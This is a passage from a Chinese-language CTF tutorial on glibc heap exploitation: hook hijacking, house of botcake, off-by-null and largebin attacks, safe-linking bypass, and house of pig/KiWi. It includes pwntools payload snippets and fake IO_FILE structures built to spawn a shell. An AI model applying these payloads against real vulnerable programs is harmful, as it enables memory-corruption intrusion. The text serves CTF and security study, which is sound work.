需要注意的是,若是用此方法改stdout來泄露相關信息,也可以不改_flags,如假設有漏洞可以修改一個堆塊的size,那么可以構造_IO_read_end等于_IO_write_base來進行繞過,具體方式是:改了global_max_fast后,先釋放一個需要泄露其中內容的fake fast bin到_IO_read_end(此時,正常走IO指針的輸出均會失效,因為過不了_IO_read_end = _IO_write_base的判斷,就不會執行_IO_SYSWRITE),然后修改該fake fast bin的size,再將其釋放到_IO_write_base處即可。
利用此方法,也可以對libc進行泄露,畢竟在算index的時候,libc_base是被抵消掉的,或者說,是可以泄露在fastbinsY之后的數據。泄露的思想就是:當free時,會把此堆塊置入fastbin鏈表的頭部,所以在free后,此堆塊的fd位置的內容,就是free前此SIZE的鏈表頭部指針,通過越界就可以讀取LIBC上某個位置的內容。
Tricks
1、free_hook
劫持free_hook,一般都是申請到free_hook_addr的寫入權,改寫為one_gadget或system等,有時候one_gadget無法使用,就需要free(X),其中這里X地址中的值為/bin/sh,故我們可以申請到free_hook_adddr - 8處的寫入權,寫入b'/bin/sh\x00' + p64(system_addr),然后free(free_hook_adddr - 8)即可,而一般都由chunk[t] = malloc(...)申請到堆塊的讀寫權,故直接free(chunk[t])即可。
2、malloc_hook配合realloc_hook調整棧幀打one_gadget
malloc_hook與realloc_hook地址相鄰,realloc_hook在malloc_hook_addr - 8處,而__libc_realloc中有如下匯編代碼:
; 以libc-2.23為例:6C0 push r15 ; Alternative name is '__libc_realloc'6C2 push r146C4 push r136C6 push r126C8 mov r13, rsi6CB push rbp6CC push rbx6CD mov rbx, rdi6D0 sub rsp, 38h6D4 mov rax, cs:__realloc_hook_ptr6DB mov rax, [rax]6DE test rax, rax6E1 jnz loc_848E8...
故我們可以申請到malloc_hook_addr - 8的寫入權,寫入p64(one_gadget) + p64(realloc_addr+offest),即在realloc_hook寫入one_gadget,在malloc_hook寫入realloc_addr + offest,此處通過控制offest來減少push個數,進而達到調整棧幀的目的,offest可取[0x0, 0x2, 0x4, 0x6, 0x8, 0xb, 0xc],relloc_addr = libc_base + libc.sym['__libc_realloc'],然后通過malloc–>malloc_hook–>realloc–>realloc_hook–>one_gadget的流程getshell。
此外,fast bin attack的時候,需構造0x70的fast bin的fd指針指向malloc_hook-0x23處,此時fake size域為0x7f,會被當作0x70。
3、setcontext + 53
setcontext中的匯編代碼如下:
push rdilea rsi, [rdi+128h] ; nsetxor edx, edx ; osetmov edi, 2 ; howmov r10d, 8 ; sigsetsizemov eax, 0Ehsyscall ; LINUX - sys_rt_sigprocmaskpop rdicmp rax, 0FFFFFFFFFFFFF001hjnb short loc_520F0mov rcx, [rdi+0E0h]fldenv byte ptr [rcx]ldmxcsr dword ptr [rdi+1C0h]mov rsp, [rdi+0A0h] ; setcontext+53mov rbx, [rdi+80h]mov rbp, [rdi+78h]mov r12, [rdi+48h]mov r13, [rdi+50h]mov r14, [rdi+58h]mov r15, [rdi+60h]mov rcx, [rdi+0A8h]push rcxmov rsi, [rdi+70h]mov rdx, [rdi+88h]mov rcx, [rdi+98h]mov r8, [rdi+28h]mov r9, [rdi+30h]mov rdi, [rdi+68h]xor eax, eaxretn
可以看到從setcontext+53處的mov rsp, [rdi+0A0h]這行代碼往后,修改了很多寄存器的值,其中,修改rsp的值將會改變棧指針,因此我們就獲得了控制棧的能力,修改rcx的值后接著有個push操作將rcx壓棧,然后匯編指令按照順序會執行到最后的retn操作,而retn的地址就是壓入棧的rcx值,因此修改rcx就獲得了控制程序流程的能力。
利用pwntools帶的SigreturnFrame(),可以方便的構造出setcontext執行時對應的調用區域,實現對寄存器的控制,從而實現函數調用或orw調用,具體如下:
# 指定機器的運行模式context.arch = "amd64"# 設置寄存器frame = SigreturnFrame()frame.rsp = ...frame.rip = ......
我們將bytes(frame)布置到某個堆塊K中,然后將free_hook改為setcontext+53,再通過free(K)即可觸發(此時rdi就是K,指向堆塊的user data),在我們構造的Frame中,frame.rip就是rcx的值,即執行完setcontext后執行的地址,而 frame.rsp就是最終retn后rsp的值(最后再跳轉到此處rsp),因此可類似于SROP做到連續控制。
4、劫持exit hook
在exit中調用了__run_exit_handlers,而在__run_exit_handlers中又調用了_dl_fini,_dl_fini源碼如下:
#ifdef SHARED int do_audit = 0; again:#endif for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns) { __rtld_lock_lock_recursive (GL(dl_load_lock)); unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded; if (nloaded == 0#ifdef SHARED || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit#endif ) __rtld_lock_unlock_recursive (GL(dl_load_lock));
發現了其中調用的兩個關鍵函數:
__rtld_lock_lock_recursive (GL(dl_load_lock));__rtld_lock_unlock_recursive (GL(dl_load_lock));
再看__rtld_lock_lock_recursive()的定義:
# define __rtld_lock_lock_recursive(NAME) \ GL(dl_rtld_lock_recursive) (&(NAME).mutex)
查看宏GL的定義:
# if IS_IN (rtld)# define GL(name) _rtld_local._##name# else# define GL(name) _rtld_global._##name# endif
由此可知,_rtld_global是一個結構體,_dl_rtld_lock_recursive和_dl_rtld_unlock_recursive實際上是該結構體中的函數指針,故我們將其中之一修改為one_gadget即可getshell。
需要注意的是,_rtld_global結構位于ld.so中 ( ld.sym['_rtld_global'] ),而libc_base與ld_base又有固定的差值,如在2.27中有libc_base+0x3f1000=ld_base,此時dl_rtld_lock_recursive于_rtld_global的偏移是0xf00,dl_rtld_unlock_recursive于_rtld_global的偏移是0xf08,最終修改dl_rtld_lock_recursive還是dl_rtld_unlock_recursive為one_gadget視情況而定,需要滿足one_gadget的條件才行。
此外,由源碼可知,若是有兩次修改機會,可以將dl_rtld_lock_recursive或dl_rtld_unlock_recursive函數指針改成system的地址,然后在_rtld_global.dl_load_lock.mutex(相對于_rtld_global偏移0x908)的地址中寫入/bin/sh\x00,即可getshell。
在libc中,還有一個更為方便的exit hook,就是__libc_atexit這個函數指針,從exit.c的源碼中可以看到:
__run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit, bool run_dtors){...if (run_list_atexit) RUN_HOOK (__libc_atexit, ());...
而在我們調用__run_exit_handlers這個函數時,參數run_list_atexit傳進去的值就為真:
void exit (int status){ __run_exit_handlers (status, &__exit_funcs, true, true);}
因此,可以直接改__libc_atexit的值為one_gadget,在執行exit函數(從main函數退出時也調用了exit())時,就能直接getshell了。
這個__libc_atexit有一個極大的優點,就是它在libc而非ld中,隨遠程環境的改變,不會有變化。缺點就是,它是無參調用的hook,傳不了/bin/sh的參數,one_gadget不一定都能打通。
5、scanf讀入大量數據申請large bin,觸發malloc_consolidate
當通過scanf,gets等走IO指針的讀入函數讀入大量數據時,若默認緩沖區(0x400)不夠存放這些數據,則會申請一個large bin存放這些數據,例如讀入0x666個字節的數據,則會申請0x810大小的large bin,并且在讀入結束后,將申請的large bin進行free,其過程中由于申請了large bin,因此會觸發malloc_consolidate。
高版本glibc下的利用
在上面一個板塊中,對部分新版本glibc的改進稍有提及,在此板塊中將深入展開對新版本glibc下利用的講解。
house of botcake
在2.28以后,tcache的bk位置寫入了key,在2.34之前,這個key值為tcache struct的首地址加上0x10,在2.34以后,就是一個隨機值了,當一個chunk被free的時候,會檢測它的key是否為這個值,也就是檢測其是否已經在tcache bin中,這就避免了tcache的double free。
然而,當有UAF漏洞的時候,可以用house of botcake來繞過key的檢測,達到任意寫的目的。需要注意的是,在2.30版本后,從tcache取出堆塊的時候,會先判斷對應的count是否為0,如果已經減為0,即使該tcache bin中仍有被偽造的地址,也無法被取出。
流程如下:
1、先將tcache bin填滿(大小要大于0x80)。
2、再連續free兩個連著的堆塊(A在B的上方,A不能進入tcache bin 且 B的大小要與第一步tcache bin中的相等),使其合并后進入unsorted bin。
3、從tcache bin中取出一個堆塊,空出一個位置。
4、將Chunk B利用UAF漏洞,再次釋放到tcache bin中,并申請回unsorted bin中的Chunk A & B合并的大堆塊(部分),修改Chunk B的next指針指向任意地址,并申請到任意地址的控制權。
off by one (null)
在2.27的版本,對在unlink的時候,增加了一個檢測:
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) malloc_printerr ("corrupted size vs. prev_size");
也就是說,會檢查“即將脫鏈”的chunk的size域是否與他下一個chunk的prev_size域相等。
這個檢測很好繞過,只需要將“即將脫鏈”的堆塊在之前就真的free一次,讓它進入list,也就會在其next chunk的prev_size域留下它的size了。
在2.29版本以后,在unlink時,增加了判斷觸發unlink的chunk的prev_size域和即將脫鏈的chunk的size域是否一致的檢測:
if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating");
有了這個檢測就會比較麻煩了,不過仍然是有以下兩種新方法繞過該檢測:
1、思路一:利用 largebin 的殘留指針 nextsize
首先,當一個堆塊進入某個原本是空的largebin list,他的fd_nextsize和bk_nextsize內都是他自身的堆地址。
我們現在從這個largebin + 0x10的位置開始偽造一個fake chunk,也就是將原本的fd_nextsize和bk_nextsize當成fake chunk的fd和bk,而我們最終也是要將觸發unlink的堆塊和這個fake chunk合并,造成堆疊。
如此,我們很好控制fake chunk的size等于觸發堆塊的prev_size了,不過在此情況下又要繞過unlink的一個經典檢測了,即檢測每個即將脫鏈的堆塊的fd的bk和bk的fd是否都指向其本身:
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV);
這個檢測在之前都是不需要繞過的,因為對于之前的方法來說,雙向鏈表顯然都是合法完整的,但對于我們想重新偽造fd和bk,卻成了一個大麻煩。
對于大部分off by null的題目,是不太好直接泄露libc_base和heap_base的,因此我們想重新偽造fd和bk并繞過雙向鏈表完整性檢查,對于原先殘留的fd_nextsize地址,可以對其進行部分寫入最后兩位,更改為我們想要偽造成的堆地址(并進一步通過偽造成的堆地址滿足雙向鏈表檢查)。
不過,這里需要注意的是,我們需要讓我們想要偽造成的堆地址與fd_nextsize中的殘留地址只有后兩位不同,且進行部分寫入后,由于off by null,會將部分寫入的地址后一字節覆蓋成\x00。
因此我們需要讓我們想要偽造成的堆地址本身就是0x......X0XX這種形式,然后再爆破倒數第四位,讓它為0即可,有1/16的爆破成功概率;而對于bk_nextsize來說,由于其之前的fd_nextsize不可再被更改了,就無法覆蓋到bk_nextsize了,那么bk_nextsize就只能是原先的largebin地址了,而fake chunk的bk->fd在此時也就是fake chunk的prev_size位,只要在其中填上fake chunk的地址(largebin + 0x10)即可繞過檢查。
下面來看一下具體的實現操作:
(1)首先進行一些堆塊的申請,使得所需的largebin的地址為0x....000。
add(0xbe0, b'') # 48 => largebin's addr is 0x.....000for i in range(7): # 49~55 tcache add(0x20, b'')add(0xa20, b'') # 56 (large bin)add(0x10, b'') # 57 separate #56 from top chunkdelete(56) # 56 -> unsorted binadd(0xff0, b'') # 56 old_56 -> large bin
(2)偽造出fake chunk并偽造fd,繞過fake chunk->fd->bk = fake chunk的檢測。
同樣,我們將fake chunk的fd改成了某個臨近堆塊A,但仍然需要將chunk A的bk改成fake chunk的地址,所以仍需要部分寫入的方式更改,這就要求我們需要使chunk A的bk本身就是一個堆地址,且與fake chunk的地址只有最后兩位不同(臨近)。
我們可以通過將chunk A和chunk B(fake chunk的臨近堆塊)放入small bin或unsorted bin等中,使得其鏈表為chunk B <-> chunk A,這樣即可滿足要求。
由于要是fake chunk的臨近堆塊,只能申請小堆塊,所以這里使其放入small bin比較好實現,因為小堆塊進入fastbin中后,只要觸發malloc_consolidate(),若它們之間無法合并,即可讓它們直接進入small bin。
add(0x20, p64(0) + p64(0x521) + b'\x30') # 58 create the fake chunk and change it's fd (largebin's fd_nextsize) to point to the chunk #59add(0x20, b'') # 59add(0x20, b'') # 60add(0x20, b'') # 61add(0x20, b'') # 62for i in range(49, 56): # fill the tcache bin delete(i)delete(61) # 61 -> fastbindelete(59) # 59 -> fastbinfor i in range(7): # 49~55 add(0x20, b'')add(0x400, b'') # 59 apply for a largebin to trigger malloc_consolidate() to push #59 & #61 into the smallbin (reverse)# smallbin : #61 <-> #59 (old, the fake chunk's next chunk)add(0x20, p64(0) + b'\x10') # 61 change old chunk #59's bk to point to the fake chunk# until now, satisify : the fake chunk's fd->bk points to itselfadd(0x20, b'') # 63 clear the list of the smallbin
(3)偽造bk,繞過fake chunk->bk->fd = fake chunk的檢測
按照之前的分析,需要在fake chunk的prev_size位填入fake chunk的地址,仍然需要部分寫入的方法,也就要求fake chunk的prev_size位原先就是一個fake chunk的臨近堆地址。
我們只需要將原先largebin的頭部被分割出來的一個小堆塊和另外一個fake chunk的臨近堆塊均放入fastbin中,這樣largebin頭部小堆塊的fd,也就是fake chunk的prev_size位就會被填入一個fake chunk的臨近堆地址,再申請出來進行部分寫入,使其為fake chunk的地址即可。
需要注意的是,不能將堆塊放入tcache,這樣雖然prev_size域仍然是這個臨近堆地址,但是我們之前偽造好的fake chunk的size域就會被tcache的key所覆蓋。
# fake chunk's bk (large bin's bk_nextsize) point to largebin# fake chunk's bk->fd is largebin+0x10 (fake chunk's prev_size)for i in range(49, 56): # fill the tcache bin delete(i)delete(62) # -> fastbindelete(58) # -> fastbin (the head of largebin)# if push #62 & #58 into tcache bin, their size will be covered with tcache's keyfor i in range(7): # 49~55 add(0x20, b'')add(0x20, b'\x10') # 58 change the fake chunk's prev_size to the address of itselfadd(0x20, b'') # 62# until now, satisify : the fake chunk's bk->fd points to itself
(4)偽造觸發堆塊的prev_size,利用off by null修改size的prev_inuse標志位為0,free觸發堆塊,進行unlink合并,造成堆疊。
add(0x28, b'') # 64add(0x4f0, b'') # 65 0x500delete(64)add(0x28, p64(0)*4 + p64(0x520)) # 64 off by null 0x501 -> 0x500delete(65) # unlink
2、思路二:利用 unsorted bin 和 large bin 鏈機制
該方法與上面一個方法的主體思路類似(都是通過部分寫入來篡改地址),實現方式有所不同,稍微簡單一些。
堆塊布局如下:
堆塊1 (利用堆塊的fd)阻隔堆塊輔助堆塊(0x420) => 重分配堆塊1(0x440,修改size)利用堆塊(0x440) => 重分配堆塊2(0x420,輔助堆塊)阻隔堆塊堆塊2 (利用堆塊的bk)阻隔堆塊
(1)我們可以通過unsorted bin鏈,直接讓某堆塊的fd和bk都分別指向一個堆地址(free堆塊1/2和利用堆塊),就不需要通過部分寫入來偽造fd和bk了,不過這樣就不好直接偽造利用堆塊的size域了,可以通過輔助堆塊和利用堆塊合并后再分配,來使得原先利用堆塊的size在重分配堆塊1的mem區,就可以修改到原先利用堆塊的size了,但這樣的話,由于堆塊的重分配,原先的利用堆塊就不合法了,也就意味著需要繞過雙向鏈表檢測。以下就將利用堆塊叫作fake chunk了。
create(0x418) # 0 (chunk M)create(0x108) # 1create(0x418) # 2 (chunk T)create(0x438) # 3 (chunk X, 0x...c00)create(0x108) # 4create(0x428) # 5 (chunk N)create(0x108) # 6delete(0)delete(3)delete(5)# unsorted bin: 5 <-> 3 <-> 0# chunk X(#3) [ fd: chunk M(#0) bk: chunk N(#5) ] delete(2) # chunk T & chunk X unlink and mergecreate(0x438, b'a'*0x418 + p64(0x1321)) # 0 split and set chunk X's sizecreate(0x418) # 2 allocate the rest part (0x...c20) as chunk Kcreate(0x428) # 3 chunk X's bk (chunk N)create(0x418) # 5 chunk X's fd (chunk M)
(2)繞過fake chunk->fd->bk = fake chunk的檢測
我們在之前的狀態下,先刪除fake chunk->fd堆塊,再刪除重分配堆塊2(輔助堆塊),我們就可以在fake chunk->fd堆塊的bk位置寫入一個重分配堆塊 2(輔助堆塊)的地址。
再將這個fake chunk->fd堆塊申請回來,由于重分配堆塊2(輔助堆塊)就是fake chunk的臨近堆塊,所以利用部分寫入的方式,就可以修改其bk為fake chunk的地址了(這里仍會涉及到off by null導致后一個字節被覆寫為\x00,依然需要爆破,下面代碼的示例題目是將輸入的最后一字節改成\x00,因此不需要爆破),最后再申請回重分配堆塊2(輔助堆塊)。
# let chunk X's fd -> bk (chunk M's bk) point to chunk X (by unsorted bin list)delete(5)delete(2)# unsorted bin : 2 <-> 5 , chunk M's bk points to chunk K (0x...c20)create(0x418, b'a'*9) # 2 overwrite partially chunk M's bk to 0x...c00 (point to chunk X)create(0x418) # 5 apply for the chunk K back
(3)繞過fake chunk->bk->fd = fake chunk的檢測
若是我們仍采用上述的思路,先刪除重分配堆塊2(輔助堆塊),再刪除fake chunk->bk堆塊,的確會在fake chunk->bk的fd寫入重分配堆塊2(輔助堆塊)的地址,但是在申請回fake chunk->bk堆塊時,會先遍歷到重分配堆塊2(輔助堆塊),然后將其放入largebin,與unsorted bin鏈斷開了,這樣等申請到fake chunk->bk的時候,其fd就不再是重分配堆塊2(輔助堆塊)的地址了。
不難想到,如果先刪除重分配堆塊2(輔助堆塊),再刪除fake chunk->bk堆塊,然后就將它們全放入largebin,從largebin中申請出堆塊,就不會涉及上面的問題了。
我們申請出fake chunk->bk,直接部分寫入其fd,指向fake chunk即可。
# let chunk X's bk -> fd (chunk N's fd) point to chunk X (by large bin list)delete(5)delete(3)# unsorted bin : 3 <-> 5 , chunk N's fd points to chunk K (0x...c20)# can not overwrite partially chunk N's fd points to chunk X in the unsorted bin list directly# because applying for the size of chunk N(#3) will let chunk K(#5) break away from the unsorted bin list# otherwise, chunk N's fd will be changed to main_arena+96create(0x448) # 3 let chunks be removed to the large bin# large bin : old 3 <-> old 5create(0x438) # 5create(0x4f8) # 7create(0x428, b'a') # 8 overwrite partially chunk N's fd to 0x...c00 (point to chunk X)create(0x418) # 9 apply for the chunk K back
(4)偽造觸發堆塊的prev_size,利用off by null修改size的prev_inuse標志位為0,free觸發堆塊,進行unlink合并,造成堆疊。
# off by nullmodify(5, b'a' * 0x430 + p64(0x1320)) # set prev_size and change prev_inuse (0x501 -> 0x500)create(0x108) # 10delete(7) # unlink
largebin attack
從glibc 2.28開始,_int_malloc中增加了對unsorted bin的bk的校驗,使得unsorted bin attack變得不可行:
if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3");
因此,對于高版本的glibc來說,通常用largebin attack或tcache stashing unlink attack來達到任意寫大數值,而其中largebin attack更好,因為它寫入的是堆地址,堆的內容常常是可控的。
然而,從glibc 2.30開始,常規large bin attack方法也被封堵,加入了判斷bk_nextsize->fd_nextsize是否指向本身:
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
還加入了檢查:
if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
但這都是在我們原先利用的分支中加入的判斷,也就是當加入該largebin list的chunk的size大于該largebin list中原先chunk的size時。
而在加入堆塊的size小于largebin list中原有堆塊的size時的分支中,仍然是可以利用的,不過相對于舊版可以任意寫兩個地址,到這里只能任意寫一個地址了:
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){ fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; // 1 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // 2}else...
利用流程如下:
1、在largebin list中放入一個堆塊A,并利用UAF等漏洞修改其內容為p64(0)*3 + p64(target_addr - 0x20),也就是在bk_nextsize寫入target_addr - 0x20。
2、釋放一個大小略小于堆塊A的堆塊B進入到同一個largebin list,此時就會在target_addr中寫入堆塊B的地址。
原理解釋:源碼中的bck就是largebin list的頭部,而bck->fd就指向了其中size最小的堆塊,將源碼中1帶入2中得:fwd->fd->bk_nextsize->fd_nextsize = victim,又在之前有fwd = bck,fwd->fd就是largebin list頭部的fd,而此largebin list在加入堆塊B之前只有堆塊A,因此fwd->fd->bk_nextsize->fd_nextsize = victim就是堆塊A的bk_nextsize->fd_nextsize也就是target_addr處寫入了victim也就是堆塊B的地址。
3、若是僅在任意地址寫入大數值,那上述過程就已經實現了,但很多時候需要修復largbin list,以免在之后申請堆塊時出現錯誤,或者有時候需要再將largebin list中的堆塊申請出來,對其內容進行控制。在上述過程結束后,堆塊B的bk_nextsize有源碼中的1處,也改成了target_addr - 0x20,我們將堆塊B取出后,堆塊B的bk_nextsize->fd_nextsize也就是target_addr就寫入了堆塊A的地址,此時再用同樣的UAF等漏洞對堆塊A的bk/fd和bk/fd_nextsize進行修復,即可成功取出堆塊A,并可以對堆塊A的內容進行控制,也就是對target_addr所指向的地址進行控制,就可以劫持IO FILE或是TLS結構,link_map等等。
Tcache Struct的劫持與溢出
關于Tcache Struct的劫持與溢出包含了很多方法,且基本不存在高低版本有區別的問題,但是在高版本libc的題目中運用更廣泛,因此就放到這里來講了。
首先簡單介紹一下Tcache Struct:
在2.30版本以下:
typedef struct tcache_perthread_struct{ char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;
在2.30版本及以上:
typedef struct tcache_perthread_struct{ uint16_t counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;
可以看到,Tcache Struct的有一個counts數組和entries鏈表,它本身就是一個堆,在所有堆塊的最上面,而在不同版本,它的counts數組大小不同,2.30以下的類型只占一個字節,而2.30及以上的類型就占兩個字節了,又TCACHE_MAX_BINS = 64,因此2.30以下Tcache Struct的大小為0x250,而2.30及以上為0x290。
Tcache Struct的counts數組中每個元素代表其對應大小的tcache bin目前在tcache中的個數,而entries數組中的地址指向其對應大小的tcache bin所在的單鏈表中頭部的tcache bin。
在2.30以下,在從tcache struct取出內容的時候不會檢查counts的大小,從而我們只需要修改我們想要申請的size對應的鏈表頭部位置,即可申請到。而在2.30及以上版本的libc,則需要考慮對應counts的大小要大于0,才能取出。
對于劫持Tcache Struct,有兩種方式,一種就是直接劫持Tcache Struct的堆塊,對其中的數據進行偽造,另外一種就是劫持TLS結構中的tcache pointer,其指向Tcache Struct,將其改寫,即可改為指向一個偽造的fake Tcache Struct。
對于Tcache Struct的溢出,先往mp_.tcache_bins寫入一個大數值,這樣就類似于改global_max_fast一樣,我們之后free的堆塊,都會被放入tcache中,而Tcache Struct中的某些counts和entries數組都會溢出到我們可控的堆區域中,但是利用此方法,需要對堆塊的布局格外留心,防止出現一些不合法的情況從而報錯。
glibc 2.32 在 tcache 和 fastbin 上新增的保護及繞過方法
在2.32版本,對tcache和fastbin都新增了指針保護:
#define PROTECT_PTR(pos, ptr) \((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
比如在tcache_put()中加入tcache bin時,就有e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]),對其next指針進行加密,而在tcache_get()中取出tcache bin時,就有tcache->entries[tc_idx] = REVEAL_PTR (e->next)將解密后的結果放入entries數組更新。在fastbin中也有類似的p->fd = PROTECT_PTR(&p->fd, old)操作。
PROTECT_PTR操作就是先對pos(fd/next域的堆塊地址)右移了12位(去除了末三位信息),再將與原先的指針(在此版本之前fd/next儲存的內容)異或得到的結果存入fd/next。由異或的自反性,解密只需PROTECT_PTR (&ptr, ptr)即可。
值得一提的是,當fastbin/tcache中只有一個chunk的時候,它的fd/next為零,而零異或pos>>12就是pos>>12,因此可以通過這樣的堆塊泄露pos>>12(密鑰)的值,當然還可以通過泄露heap_base來得到pos>>12(密鑰)的值,每在0x1000范圍內,堆塊的密鑰都一樣。
main_arena的劫持
main_arena其實也可以通過劫持TLS結構直接劫持,但是通過劫持TLS結構來劫持main_arena的話,需要偽造一個近乎完整的main_arena,這并不是很容易,堆塊大小也要足夠大才行,而若是我們能劫持到原先已有的main_arena,對其中部分數據進行修改,這樣就簡單很多了,我們可利用fastbin attack進行劫持實現。
我們知道,在fastbin attack中常常需要偽造堆塊的size,因為當堆塊從fastbin中取出時,會檢查其size是否匹配。在libc 2.27以上的main_arena中,有一項have_fastchunks,當其中fastbin中有堆塊時,這一項將會置為1,而這一項又在main_arena中所有重要信息的上方,又have_fastchunks在main_arena + 8的位置,若是have_fastchunks = 1,則可以通過fastbin attack,將其中一個chunk的fd改為main_arena - 1的地址,即可偽造出一個size為0x100的堆塊,但是0x100這個大小已經超過了默認的global_max_fast的大小0x80,因此需要先將global_max_fast改為一個大數值,才能夠劫持到main_arena。
house of pig (PLUS)
先看到_IO_str_overflow函數:
int _IO_str_overflow (FILE *fp, int c){ int flush_only = c == EOF; size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100; if (new_size < old_blen) return EOF; new_buf = malloc (new_size); // 1 if (new_buf == NULL) { /* __ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); // 2 free (old_buf); // 3 /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; } memset (new_buf + old_blen, '\0', new_size - old_blen); // 4 _IO_setb (fp, new_buf, new_buf + new_size, 1); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c;}libc_hidden_def (_IO_str_overflow)
在源碼中,old_blen = _IO_blen (fp) = (fp)->_IO_buf_end - (fp)->_IO_buf_base,malloc的大小為2 * old_blen + 100。
可以看到注釋的1,2,3處連續調用了malloc,memcpy,free,在2.34以前,有__free_hook的存在,所以不難想到:先在某個bin list里偽造一個與__free_hook有關的堆塊地址,然后用這里的malloc申請出來,再通過memcpy往__free_hook里面任意寫system,最后在調用free之前先調用了__free_hook,此時rdi是old_buf = fp->_IO_buf_base,也是我們偽造IO_FILE時可控的,直接將其改為/bin/sh即可getshell。
比如說,先利用tcache stashing unlink attack或者劫持TLS中的tcache pointer等方式,在0xa0的tcache bin中偽造一個__free_hook - 0x10在鏈首,然后偽造IO_FILE如下:
fake_IO_FILE = p64(0)*3 + p64(0xffffffffffffffff) # set _IO_write_ptr# fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_basefake_IO_FILE += p64(0) + p64(fake_IO_FILE_addr + 0xe0) + p64(fake_IO_FILE_addr + 0xf8)# set _IO_buf_base & _IO_buf_end old_blen = 0x18fake_IO_FILE = payload.ljust(0xc8, b'\x00')fake_IO_FILE += p64(get_IO_str_jumps())fake_IO_FILE += b'/bin/sh\x00' + p64(0) + p64(libc.sym['system'])
最后通過exit觸發,即可getshell,當然也可以配合house of KiWi等方式通過調用某個IO的fake vtable,來調用_IO_str_overflow,偽造的IO_FILE需要按情況微調。
在2.34以后,__free_hook,__malloc_hook,__realloc_hook這些函數指針都被刪除了,house of pig的利用看似也就無法再使用了,但是我們注意到上面源碼的注釋4處,調用了memset,在libc中也是有got表的,并且可寫,而這里的memset在IDA中可以看到是j_memset_ifunc(),這種都是通過got表調用的,因此我們可以把原先house of pig的改寫__free_hook轉為改寫memset在libc中的got表。
先在0xa0的tcache鏈表頭偽造一個memset_got_addr的地址,并偽造IO_FILE如下:
# magic_gadget:mov rdx, rbx ; mov rsi, r12 ; call qword ptr [r14 + 0x38]fake_stderr = p64(0)*3 + p64(0xffffffffffffffff) # _IO_write_ptrfake_stderr += p64(0) + p64(fake_stderr_addr+0xf0) + p64(fake_stderr_addr+0x108)fake_stderr = fake_stderr.ljust(0x78, b'\x00')fake_stderr += p64(libc.sym['_IO_stdfile_2_lock']) # _lockfake_stderr = fake_stderr.ljust(0x90, b'\x00') # sropfake_stderr += p64(rop_address + 0x10) + p64(ret_addr) # rsp ripfake_stderr = fake_stderr.ljust(0xc8, b'\x00')fake_stderr += p64(libc.sym['_IO_str_jumps'] - 0x20)fake_stderr += p64(0) + p64(0x21)fake_stderr += p64(magic_gadget) + p64(0) # r14 r14+8fake_stderr += p64(0) + p64(0x21) + p64(0)*3fake_stderr += p64(libc.sym['setcontext']+61) # r14 + 0x38
這里是通過house of KiWi調用的,并且開了沙盒。需要注意的是,在memset之前仍然有free(IO->buf_base),因此需要偽造一下memset_got_addr的fake chunk的堆塊頭,以及其next chunk的堆塊頭。此外,在__vfxprintf中有_IO_flockfile(fp),因此_lock也需要修復(任意可寫地址即可)。至于各寄存器在_IO_str_overflow中最后的情況,最后調試一下就能得到,magic gadget也不難找。
house of KiWi
主要是提供了一種在程序中觸發IO的思路,恰好又能同時控制rdx,很方便地orw。
// assert.h# if defined __cplusplus# define assert(expr) \ (static_cast <bool> (expr) \ ? void (0) \ : __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))# elif !defined __GNUC__ || defined __STRICT_ANSI__# define assert(expr) \ ((expr) \ ? __ASSERT_VOID_CAST (0) \ : __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))# else# define assert(expr) \ ((void) sizeof ((expr) ? 1 : 0), __extension__ ({ \ if (expr) \ ; /* empty */ \ else \ __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION); \ }))# endif // malloc.c ( #include )# define __assert_fail(assertion, file, line, function) \ __malloc_assert(assertion, file, line, function) static void 